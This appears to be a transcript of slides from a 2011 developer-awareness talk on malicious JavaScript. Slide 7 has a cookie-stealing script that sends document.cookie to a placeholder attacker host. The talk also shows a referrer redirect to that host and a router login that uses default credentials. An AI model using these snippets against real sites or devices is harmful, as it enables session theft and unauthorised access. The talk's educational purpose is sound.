16
JAVASCRIPT gone WILD Akash Mahajan | jsFoo 2011

Javascript Gone Wild

Embed Size (px)

DESCRIPTION

This was delivered as a talk was given at jsFoo 2011 in Bangalore, India. The presentation is a gentle introduction to JavaScript developers about how devastating JavaScript can be when used in unforseen places. Three main attacks are mentioned.1. Using JS for cookie stealing.2. Using JS for stealing Google page rank.3. Using JS for logging into ADSL routers without any user intervention. Also mentioned is the MySpace XSS worm by Samy Kamkar. A lot of the original research for this has been done by Jeremiah Grossman.

Citation preview

Page 1: Javascript Gone Wild

JAVASCRIPT goneWILDAkash Mahajan | jsFoo 2011

Page 2: Javascript Gone Wild

WARNING

NSFWDon’t say I didn’t warn you. This presentation is Not Safe For Work.

Page 3: Javascript Gone Wild

Don’t worry

I swear this presentation doesn’t have dirty pictures in it.

No Dirty Pictures

Page 4: Javascript Gone Wild

DISCLAIMER

This presentation is low on technical content.

Tech Lite

Page 5: Javascript Gone Wild

Why bother?

Planting the seed of an idea.

INCEPTION

Page 6: Javascript Gone Wild

What is the idea?

JavaScript code showing up in unexpected places can have unintended consequences.

Can you have fun and profit from this somehow?

Page 7: Javascript Gone Wild

Wild Idea #1• Stealing a session cookie

<script> ifrm = document.createElement("IFRAME");ifrm.setAttribute("src","http://evil.cxm/cookiestealer?stolencookie" + document.cookie);document.body.appendChild(ifrm);</script>

Firesheep also does session hijacking by stealing cookies in transit.

Page 8: Javascript Gone Wild

Wild Idea #1.5

One can steal username and password with JS in a login form.

Page 9: Javascript Gone Wild

Wilder Idea #2• Stealing the Google page rank

if(document.referrer == 'google') { var locationurl = 'http://evil.cxm/google1.php'; location.href = locationurl; }

Do you regularly check the link you get from google to your site?

Page 10: Javascript Gone Wild

Wilder Idea #2.5

What if the JavaScript redirects users to a malicious download page?

Page 11: Javascript Gone Wild

Wildest Idea #3• Login to an internal ADSL router website using

a default username and password.

var loginUrl = ‘http://admin:[email protected]/’; document.location = loginUrl;

Obviously you all have changed the default password long back, right

Page 12: Javascript Gone Wild

Wildest Idea #3.5

Allowing untrusted code in the browser is not the smartest thing to do.

Page 13: Javascript Gone Wild

His WILDNESS!!!

Samy Kamkar wrote JS code to get more friends in MySpace. At one point he had over a million friends in less than 24 hours

Page 14: Javascript Gone Wild

Jumping to conclusions

JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside code is allowed execution in the browser is radical and dangerous.

Page 15: Javascript Gone Wild

PIMPING MYSELF/ QnA

Akash Mahajan Web Security Consultant

http://akashm.com | @makash [email protected] | 9980527182

Page 16: Javascript Gone Wild

References, Attribution

• Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black Hat 2006 conference. – http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf

• Image on slide 13 has been taken from http://www.flickr.com/photos/iscteiul/ . The image is available for reuse under Creative Commons.

• Some Reference Links– JavaScript History Stealing Attack

• http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

– Samy is my Hero – MySpace XSS Worm• http://namb.la/popular/tech.html

– JavaScript to steal session cookies• http://jehiah.cz/a/xss-stealing-cookies-101• http://www.go4expert.com/forums/showthread.php?t=17066• http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/

– Trailer of the Movie ‘The Dirty Picture’• http://www.youtube.com/thedirtypicturefilm

– Ending of the movie inception explained.• http://screenrant.com/inception-spoilers-discussion-kofi-68330/

• 06-Grossman.pdf